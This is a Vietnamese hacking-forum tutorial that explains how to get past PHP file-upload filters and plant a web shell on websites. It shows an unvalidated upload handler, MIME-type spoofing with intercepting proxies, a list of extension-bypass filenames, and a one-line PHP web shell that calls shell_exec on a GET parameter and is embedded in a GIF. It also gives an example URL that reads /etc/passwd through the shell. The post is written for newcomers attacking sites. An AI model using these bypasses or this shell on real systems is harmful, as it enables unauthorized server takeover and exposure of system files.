[TUT] Upshell - Tổng quan về khai thác lỗ hổng form upload và pybass để upshell

Discussion in 'Hacking & Security Tutorials' started by Mickey, Dec 7, 2017.

  1. Mickey

    Mickey Hacking For Hacker Staff Member

    • Administrator
    Đối với các bạn rành về code php, lập trình... thì không nói làm gì, còn đối với những người mù lập trình, mù code, không phải dân IT, những newbie chỉ xem tut và áp dụng các phương pháp upshell theo tut thì có lẽ ít người hiểu rõ được cốt lõi của vấn đề. Tại sao lại up được shell lên như vậy ? Tại sao có site vào được admincp nhưng lại không up được shell ??? Trong tut này mình sẽ cố gắng dùng vốn kiến thức ít ỏi lượm lặt được tren google hi vọng sẽ giúp các bạn hiểu rõ hơn được phần nào về cách pybass upshell.
    Mình không phải dân IT, không phải lập trình viên, hoàn toàn mù tịt về các loại code cũng như ngôn ngữ lập trình cho nên kiến thức có phần hạn chế. Mong các bạn góp ý và bổ xung thêm nhóe :adore

    Như chúng ta thường thấy up shell có rất nhiều kiểu. Đối với các loại mã nguồn mở như: wordpress, joomla, open cart... hay các loại mã nguồn phải trả phí như vbb thì khó có thể pypass được form upload của nó mà chủ yếu là upload shell qua việc cài đặt plugin, modules, style.....
    Vấn đề mình nêu ra ở đây là các form upload của các laoij mã nguồn php tự code :)

    Trước tiên chúng ta để ý thì hầu như các form upload hiện nay đều chỉ cho phép upload định dạng nhất định ví dụ như định dạng ảnh: jpg, png, gif.......
    Vậy làm thế nào để nó có thể nhận ra được đó đúng là loại file được phép up lên còn đâu là file không được phép.
    Chúng ta sẽ tìm hiểu sơ qua về cơ chế check file của nó.

    1. Form upload không check file
    Nghĩa là nó không kiểm tra file type lên. Đồng nghĩa với việc ta tải cái gì lên cũng được
    Ví dụ ta có form upload như sau:

    Mã:
    PHP:
    <?php
       
    if (isset($_POST['Upload'])) {

               
    $target_path DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
               
    $target_path $target_path basename$_FILES['uploaded']['name']);

               if(!
    move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
                 
                   
    $html .= '<pre>';
                   
    $html .= 'Your image was not uploaded.';
                   
    $html .= '</pre>';
                 
                 } else {
             
                   
    $html .= '<pre>';
                   
    $html .= $target_path ' succesfully uploaded!';
                   
    $html .= '</pre>';
                 
               }

           }
    ?>

    Hoàn toàn không có đoạn nào để check file cả :) với những dạn này ta cứ up thoải mái thôi. Tuy nhiên những form upload kiểu này có lẽ là hiếm

    2. Form upload Check loại file (type)

    Với những loại form upload này thì trong file upload sẽ có 1 dòng code để check type (loại) của file để xác định xem đó có đúng là loại file được phép up lên hay không
    Ví dụ:
    Mã:
    PHP:
    if (($uploaded_type == "image/jpeg")
    Với hàm này nó có nghĩa là: nếu loại file có type là image/jpeg thì cho phép up lên. Cũng đồng nghĩa những form upload dạng này sẽ không check đuôi file.
    Đối với những form dạng này thì ta chỉ cần dùng tamper data, Live HTTP Header, hay burpsuite để sửa file type thành kiểu type mà nó chấp nhận là có thể pypass được


    [​IMG]

    3 Form upload check phần mở rộng của file (.png , .jpg , .gif .......)

    Đối với những form này trong code của nó sẽ có dòng điều kiện để check phần mở rộng của file xem đó có phải là loại được up lên hay không

    Mã:
    PHP:
    if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "JPEG"
    Như ta thấy với điều kiện trên nó se chỉ cho phép upload những file có phần mở rộng là jpg, JPG, jpeg, JPEG

    Với những form dạng này thì ta có thể pypass bằng cách đổi tên file như sau:

    shell.jpg.php
    shell.jpg.PhP
    shell.php;.jpg
    shell.php%0delete0.jpg
    shell.php.test
    shell.php.xxxjpg
    shell.phtml
    /.php4/.php5
    shell.php.

    Hoặc up shell html

    [​IMG]

    3. Check nội dung file
    Những form upload kiểu này sẽ check nội dung của file up lên xem nó có đúng là file ảnh hay không rồi mới cho up lên
    Đối với những form dạng này thì ta pypass bằng cách tạo một tấm ảnh bằng phần mềm tạo ảnh bất kỳ với định dạng gif , sau đó dùng notepad++ mở file ảnh đó lên và chèn đoạn code sau vô cuối cùng

    Mã:
    PHP:
     <?if($_GET['quyle']){echo"<pre>".shell_exec($_GET["quyle"]);}?>
    Sau đó up lên và dùng live http header hoặc burpsuite để đổi đuôi thành php và tiến hành run như sau

    Mã:
    http://website.com/shell.gif.php?quyle=cat /etc/passwd
    cat /etc/passwd: là câu lệnh khi bạn run trong khung command của shell :)) các bạn có thể run lệnh khác nhóe

    * Ngoài ra đối với dạng này các bạn cũng có thể chèn nội dung shell vào khung comment của file ảnh
    Cách chèn các bạn google nhé :)

    4. Loại check cả đuôi và type

    Đối với loại này thì chỉ cần dùng live http header hoặc burpsuite để sửa type + pybass phần mở rộng để up

    5. Kết luận

    Trên đây là sơ lược về các form upload và cách pybass nó tuy nhiên không phải tất cả đều có thể vượt qua nó, vì các bạn phải hiểu rằng các form có thể vượt qua là các form bị bug do sơ suất của coder, mặc dù form có check nhưng check không kỹ hoặc thiếu các điều kiện kèm theo nên có thể dễ dàng bị qua mặt. Vì thế cho nên nếu đã áp dụng hết các phương pháp mà vẫn không upload shell được thì cũng đừng có bảo mình nói láo =)) đơn giản bởi vì người tạo ra form upload đó đã phòng ngừa rồi nên đã code khá kĩ để check file và ta không thể pybass được.

    Done. End tut. Kiến thức lụm lặt và tổng hợp lại có chỗ nào không đúng hoặc thiếu sót mong các pro bổ xung dùm. :big_smile
     

Share This Page